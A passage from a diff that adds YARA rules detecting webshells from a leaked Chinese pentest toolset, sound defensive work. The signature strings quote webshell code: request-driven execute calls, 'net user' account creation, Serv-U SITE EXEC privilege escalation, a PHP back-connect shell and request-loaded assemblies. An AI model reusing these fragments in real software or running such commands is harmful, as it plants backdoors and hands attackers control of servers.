+		filesize < 35KB and all of them
+}
+
+rule CN_Honker_Webshell_Injection_Transit_jmPost {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jmPost.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f80ec26bbdc803786925e8e0450ad7146b2478ff"
+		id = "892f747e-6065-5baf-b928-8d69d8792483"
+	strings:
+		$s1 = "response.write  PostData(JMUrl,JmStr,JmCok,JmRef)" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "JmdcwName=request(\"jmdcw\")" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 9KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_web_asp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file web.asp.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "aebf6530e89af2ad332062c6aae4a8ca91517c76"
+		id = "67e03591-770a-5b32-9579-c899894740fc"
+	strings:
+		$s0 = "<FORM method=post target=_blank>ShellUrl: <INPUT " fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "\" >[Copy code]</a> 4ngr7&nbsp; &nbsp;</td>" fullword ascii
+	condition:
+		filesize < 13KB and all of them
+}
+
+rule CN_Honker_Webshell_wshell_asp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file wshell-asp.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4a0afdf5a45a759c14e99eb5315964368ca53e9c"
+		id = "294f0d00-7102-553d-92e2-c0a0e017385c"
+	strings:
+		$s1 = "file1.Write(\"<%response.clear:execute request(\\\"root\\\"):response.End%>\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "hello word !  " fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "root.asp " fullword ascii
+	condition:
+		filesize < 5KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp404 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp404.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "bed51971288aeabba6dabbfb80d2843ec0c4ebf6"
+		id = "4125bb40-3f5c-53f5-b906-54fa77b119f5"
+	strings:
+		$s0 = "temp1 = Len(folderspec) - Len(server.MapPath(\"./\")) -1" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "<form name=\"form1\" method=\"post\" action=\"<%= url%>?action=chklogin\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<td>&nbsp;<a href=\"<%=tempurl+f1.name%>\" target=\"_blank\"><%=f1.name%></a></t" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 113KB and all of them
+}
+
+rule CN_Honker_Webshell_Serv_U_asp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file Serv-U asp.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cee91cd462a459d31a95ac08fe80c70d2f9c1611"
+		id = "06a58a05-92bd-5124-a172-2bfd9491c2fc"
+	strings:
+		$s1 = "newuser = \"-SETUSERSETUP\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \"-PortNo=\" &" ascii /* PEStudio Blacklist: strings */
+		$s2 = "<td><input name=\"c\" type=\"text\" id=\"c\" value=\"cmd /c net user goldsun lov" ascii /* PEStudio Blacklist: strings */
+		$s3 = "deldomain = \"-DELETEDOMAIN\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \" PortNo=\"" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_Webshell_cfm_list {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file list.cfm"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "85d445b13d2aef1df3b264c9b66d73f0ff345cec"
+		id = "98302eef-d1e8-5524-a57e-d49c0e92c7e0"
+	strings:
+		$s1 = "<TD><a href=\"javascript:ShowFile('#mydirectory.name#')\">#mydirectory.name#</a>" ascii /* PEStudio Blacklist: strings */
+		$s2 = "<TD>#mydirectory.size#</TD>" fullword ascii
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php2.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "bf12e1d741075cd1bd324a143ec26c732a241dea"
+		id = "377ff89d-a9ba-526c-97a1-388f9ccb48ba"
+	strings:
+		$s1 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii /* PEStudio Blacklist: strings */
+		$s2 = "<?php // Black" fullword ascii
+	condition:
+		filesize < 12KB and all of them
+}
+
+rule CN_Honker_Webshell_Tuoku_script_oracle {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file oracle.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fc7043aaac0ee2d860d11f18ddfffbede9d07957"
+		id = "adc8dea6-8031-580b-b19a-e5520d41528f"
+	strings:
+		$s1 = "String url=\"jdbc:oracle:thin:@localhost:1521:orcl\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "String user=\"oracle_admin\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "String sql=\"SELECT 1,2,3,4,5,6,7,8,9,10 from user_info\";" fullword ascii
+	condition:
+		filesize < 7KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_aspx4 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file aspx4.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "200a8f15ffb6e3af31d28c55588003b5025497eb"
+		id = "4a13c809-48f7-54f7-9ce3-10d6d48104fb"
+	strings:
+		$s4 = "File.Delete(cdir.FullName + \"\\\\test\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "start<asp:TextBox ID=\"Fport_TextBox\" runat=\"server\" Text=\"c:\\\" Width=\"60" ascii /* PEStudio Blacklist: strings */
+		$s6 = "<div>Code By <a href =\"http://www.hkmjj.com\">Www.hkmjj.Com</a></div>" fullword ascii
+	condition:
+		filesize < 11KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_aspx {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file aspx.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "8378619b2a7d446477946eabaa1e6744dec651c1"
+		id = "4a13c809-48f7-54f7-9ce3-10d6d48104fb"
+	strings:
+		$s0 = "string iVDT=\"-SETUSERSETUP\\r\\n-IP=0.0.0.0\\r\\n-PortNo=52521\\r\\n-User=bin" ascii /* PEStudio Blacklist: strings */
+		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii /* PEStudio Blacklist: strings */
+		$s2 = "td.Text=\"<a href=\\\"javascript:Bin_PostBack('urJG','\"+dt.Rows[j][\"ProcessID" ascii /* PEStudio Blacklist: strings */
+		$s3 = "vyX.Text+=\"<a href=\\\"javascript:Bin_PostBack('Bin_Regread','\"+MVVJ(rootkey)+" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 353KB and 2 of them
+}
+
+rule CN_Honker_Webshell_su7_x_9_x {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file su7.x-9.x.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "808396b51023cc8356f8049cfe279b349ca08f1a"
+		id = "5d546ce8-6f8f-5b0b-9472-23f283ef9f80"
+	strings:
+		$s0 = "returns=httpopen(\"LoginID=\"&user&\"&FullName=&Password=\"&pass&\"&ComboPasswor" ascii /* PEStudio Blacklist: strings */
+		$s1 = "returns=httpopen(\"\",\"POST\",\"http://127.0.0.1:\"&port&\"/Admin/XML/User.xml?" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 59KB and all of them
+}
+
+rule CN_Honker_Webshell_cfmShell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file cfmShell.cfm"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "740796909b5d011128b6c54954788d14faea9117"
+		id = "40d50ddb-2963-5d8e-b93a-bb44a8944229"
+	strings:
+		$s0 = "<cfexecute name=\"C:\\Winnt\\System32\\cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "<cfif FileExists(\"#GetTempDirectory()#foobar.txt\") is \"Yes\">" fullword ascii
+	condition:
+		filesize < 4KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp4 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp4.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4005b83ced1c032dc657283341617c410bc007b8"
+		id = "4125bb40-3f5c-53f5-b906-54fa77b119f5"
+	strings:
+		$s2 = "if ShellPath=\"\" Then ShellPath = \"cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "Response.Cookies(Cookie_Login) = sPwd" fullword ascii /* PEStudio Blacklist: strings */
+		$s8 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 150KB and all of them
+}
+
+rule CN_Honker_Webshell_Serv_U_2_admin_by_lake2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file Serv-U 2 admin by lake2.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cb8039f213e611ab2687edd23e63956c55f30578"
+		id = "8fce8835-a4ed-58df-a725-0c1fc04becaa"
+	strings:
+		$s1 = "xPost3.Open \"POST\", \"http://127.0.0.1:\"& port &\"/lake2\", True" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "response.write \"FTP user lake  pass admin123 :)<br><BR>\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s8 = "<p>Serv-U Local Get SYSTEM Shell with ASP" fullword ascii /* PEStudio Blacklist: strings */
+		$s9 = "\"-HomeDir=c:\\\\\" & vbcrlf & \"-LoginMesFile=\" & vbcrlf & \"-Disable=0\" & vb" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 17KB and 2 of them
+}
+
+rule CN_Honker_Webshell_PHP_php3 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php3.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e2924cb0537f4cdfd6f1bd44caaaf68a73419b9d"
+		id = "3000ac40-35de-5d24-85fb-4d105b07c2e7"
+	strings:
+		$s1 = "} elseif(@is_resource($f = @popen($cfe,\"r\"))) {" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "cf('/tmp/.bc',$back_connect);" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 8KB and all of them
+}
+
+rule CN_Honker_Webshell_Serv_U_by_Goldsun {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file Serv-U_by_Goldsun.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d4d7a632af65a961a1dbd0cff80d5a5c2b397e8c"
+		id = "d8b85c33-b05d-531a-9c0a-a1dddcae0da4"
+	strings:
+		$s1 = "b.open \"GET\", \"http://127.0.0.1:\" & ftpport & \"/goldsun/upadmin/s2\", True," ascii /* PEStudio Blacklist: strings */
+		$s2 = "newuser = \"-SETUSERSETUP\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \"-PortNo=\" &" ascii /* PEStudio Blacklist: strings */
+		$s3 = "127.0.0.1:<%=port%>," fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "GName=\"http://\" & request.servervariables(\"server_name\")&\":\"&request.serve" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_Webshell_PHP_php10 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php10.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3698c566a0ae07234c8957112cdb34b79362b494"
+		id = "5fe78cc6-8be3-595f-a082-e361259938e5"
+	strings:
+		$s1 = "dumpTable($N,$M,$Hc=false){if($_POST[\"format\"]!=\"sql\"){echo\"\\xef\\xbb\\xbf" ascii /* PEStudio Blacklist: strings */
+		$s2 = "';if(DB==\"\"||!$od){echo\"<a href='\".h(ME).\"sql='\".bold(isset($_GET[\"sql\"]" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 600KB and all of them
+}
+rule CN_Honker_Webshell_Serv_U_servu {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file servu.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7de701b86820096e486e64ca34f1fa9f2fbba641"
+		id = "3e50d991-7297-5766-b68a-e74aa34ce042"
+	strings:
+		$s0 = "fputs ($conn_id, \"SITE EXEC \".$dir.\"cmd.exe /c \".$cmd.\"\\r\\n\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "function ftpcmd($ftpport,$user,$password,$dir,$cmd){" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 41KB and all of them
+}
+
+rule CN_Honker_Webshell_portRecall_jsp2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jsp2.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "412ed15eb0d24298ba41731502018800ffc24bfc"
+		id = "cd34cb47-c5e0-5094-a501-6a8a00d94018"
+	strings:
+		$s0 = "final String remoteIP =request.getParameter(\"remoteIP\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "final String localIP = request.getParameter(\"localIP\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s20 = "final String localPort = \"3390\";//request.getParameter(\"localPort\");" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 23KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_aspx2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file aspx2.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "95db7a60f4a9245ffd04c4d9724c2745da55e9fd"
+		id = "0da59fde-2214-5677-943f-05b8da4fd9d4"
+	strings:
+		$s0 = "if (password.Equals(this.txtPass.Text))" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "<head runat=\"server\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = ":<asp:TextBox runat=\"server\" ID=\"txtPass\" Width=\"400px\"></asp:TextBox>" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "this.lblthispath.Text = Server.MapPath(Request.ServerVariables[\"PATH_INFO\"]);" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x253c and filesize < 9KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_hy2006a {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file hy2006a.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "20da92b2075e6d96636f883dcdd3db4a38c01090"
+		id = "115651d3-63e1-58e3-b27c-42271111bb91"
+	strings:
+		$s15 = "Const myCmdDotExeFile = \"command.com\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s16 = "If LCase(appName) = \"cmd.exe\" And appArgs <> \"\" Then" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 406KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php1 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php1.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c2f4b150f53c78777928921b3a985ec678bfae32"
+		id = "5fe78cc6-8be3-595f-a082-e361259938e5"
+	strings:
+		$s7 = "$sendbuf = \"site exec \".$_POST[\"SUCommand\"].\"\\r\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s8 = "elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_c" ascii /* PEStudio Blacklist: strings */
+		$s18 = "echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 621KB and all of them
+}
+
+rule CN_Honker_Webshell_jspshell2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jspshell2.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cc7bc1460416663012fc93d52e2078c0a277ff79"
+		id = "ff72f94b-1c0a-5615-b35f-35f69c920292"
+	strings:
+		$s10 = "if (cmd == null) cmd = \"cmd.exe /c set\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s11 = "if (program == null) program = \"cmd.exe /c net start > \"+SHELL_DIR+\"/Log.txt" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 424KB and all of them
+}
+
+rule CN_Honker_Webshell_Tuoku_script_mysql {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file mysql.aspx"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "8e242c40aabba48687cfb135b51848af4f2d389d"
+		id = "fa0627fb-a40c-5856-ae78-17d33910878f"
+	strings:
+		$s1 = "txtpassword.Attributes.Add(\"onkeydown\", \"SubmitKeyClick('btnLogin');\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "connString = string.Format(\"Host = {0}; UserName = {1}; Password = {2}; Databas" ascii /* PEStudio Blacklist: strings */condition:
+		filesize < 202KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php9 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php9.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cd3962b1dba9f1b389212e38857568b69ca76725"
+		id = "c8cbee10-78ea-5a6f-9c80-7e51a9c38440"
+	strings:
+		$s1 = "Str[17] = \"select shell('c:\\windows\\system32\\cmd.exe /c net user b4che10r ab" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1087KB and all of them
+}
+
+rule CN_Honker_Webshell_portRecall_jsp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jsp.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "65e8e4d13ad257c820cad12eef853c6d0134fce8"
+		id = "cd34cb47-c5e0-5094-a501-6a8a00d94018"
+	strings:
+		$s0 = "lcx.jsp?localIP=202.91.246.59&localPort=88&remoteIP=218.232.111.187&remotePort=2" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_aspx3 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file aspx3.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "dd61481771f67d9593214e605e63b62d5400c72f"
+		id = "4f835136-744a-5324-a1f4-02d1cfa2cab6"
+	strings:
+		$s0 = "Process p1 = Process.Start(\"\\\"\" + txtRarPath.Value + \"\\\"\", \" a -y -k -m" ascii /* PEStudio Blacklist: strings */
+		$s12 = "if (_Debug) System.Console.WriteLine(\"\\ninserting filename into CDS:" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 100KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_shell_shell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file shell.aspx"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1816006827d16ed73cefdd2f11bd4c47c8af43e4"
+		id = "8fbcae22-07b7-5afe-9f15-06e2f426b5ca"
+	strings:
+		$s0 = "<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cook" ascii /* PEStudio Blacklist: strings */
+		$s1 = "<%@ Page Language=\"C#\" ValidateRequest=\"false\" %>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell__php1_php7_php9 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - from files php1.txt, php7.txt, php9.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "c2f4b150f53c78777928921b3a985ec678bfae32"
+		hash1 = "05a3f93dbb6c3705fd5151b6ffb64b53bc555575"
+		hash2 = "cd3962b1dba9f1b389212e38857568b69ca76725"
+		id = "cfc2f624-976f-5ff6-bd07-10948b9290bc"
+	strings:
+		$s1 = "<a href=\"?s=h&o=wscript\">[WScript.shell]</a> " fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "document.getElementById('cmd').value = Str[i];" fullword ascii
+		$s3 = "Str[7] = \"copy c:\\\\\\\\1.php d:\\\\\\\\2.php\";" fullword ascii
+	condition:
+		filesize < 300KB and all of them
+}
+
+rule CN_Honker_Webshell__Serv_U_by_Goldsun_asp3_Serv_U_asp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - from files Serv-U_by_Goldsun.asp, asp3.txt, Serv-U asp.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "d4d7a632af65a961a1dbd0cff80d5a5c2b397e8c"
+		hash1 = "87c5a76989bf08da5562e0b75c196dcb3087a27b"
+		hash2 = "cee91cd462a459d31a95ac08fe80c70d2f9c1611"
+		id = "e91e05e8-0f6d-57a7-a649-a834733f17c8"
+	strings:
+		$s1 = "c.send loginuser & loginpass & mt & deldomain & quit" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "loginpass = \"Pass \" & pass & vbCrLf" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "b.send \"User go\" & vbCrLf & \"pass od\" & vbCrLf & \"site exec \" & cmd & vbCr" ascii
+	condition:
+		filesize < 444KB and all of them
+}
+
+rule CN_Honker_Webshell__asp4_asp4_MSSQL__MSSQL_ {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - from files asp4.txt, asp4.txt, MSSQL_.asp, MSSQL_.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "4005b83ced1c032dc657283341617c410bc007b8"
+		hash1 = "4005b83ced1c032dc657283341617c410bc007b8"
+		hash2 = "7097c21f92306983add3b5b29a517204cd6cd819"
+		hash3 = "7097c21f92306983add3b5b29a517204cd6cd819"
+		id = "e0070f0d-35d0-5024-88e7-e0e04b29f485"
+	strings:
+		$s0 = "\"<form name=\"\"searchfileform\"\" action=\"\"?action=searchfile\"\" method=\"" ascii /* PEStudio Blacklist: strings */
+		$s1 = "\"<TD ALIGN=\"\"Left\"\" colspan=\"\"5\"\">[\"& DbName & \"]" fullword ascii
+		$s2 = "Set Conn = Nothing " fullword ascii
+	condition:
+		filesize < 341KB and all of them
+}
+
+rule CN_Honker_Webshell__Injection_jmCook_jmPost_ManualInjection {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - from files Injection.exe, jmCook.asp, jmPost.asp, ManualInjection.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "3484ed16e6f9e0d603cbc5cb44e46b8b7e775d35"
+		hash1 = "5e1851c77ce922e682333a3cb83b8506e1d7395d"
+		hash2 = "f80ec26bbdc803786925e8e0450ad7146b2478ff"
+		hash3 = "e83d427f44783088a84e9c231c6816c214434526"
+		id = "e154ecb5-9d56-520a-b76a-635a8864f0a8"
+	strings:
+		$s1 = "response.write  PostData(JMUrl,JmStr,JmCok,JmRef)" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "strReturn=Replace(strReturn,chr(43),\"%2B\")  'JMDCW" fullword ascii
+	condition:
+		filesize < 7342KB and all of them
+}
+
+rule CN_Honker_Webshell_cmfshell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file cmfshell.cmf"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b9b2107c946431e4ad1a8f5e53ac05e132935c0e"
+		id = "c5670deb-952c-5ba4-949a-097cc09bb108"
+	strings:
+		$s1 = "<cfexecute name=\"C:\\Winnt\\System32\\cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<form action=\"<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>\" method=\"post\">" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
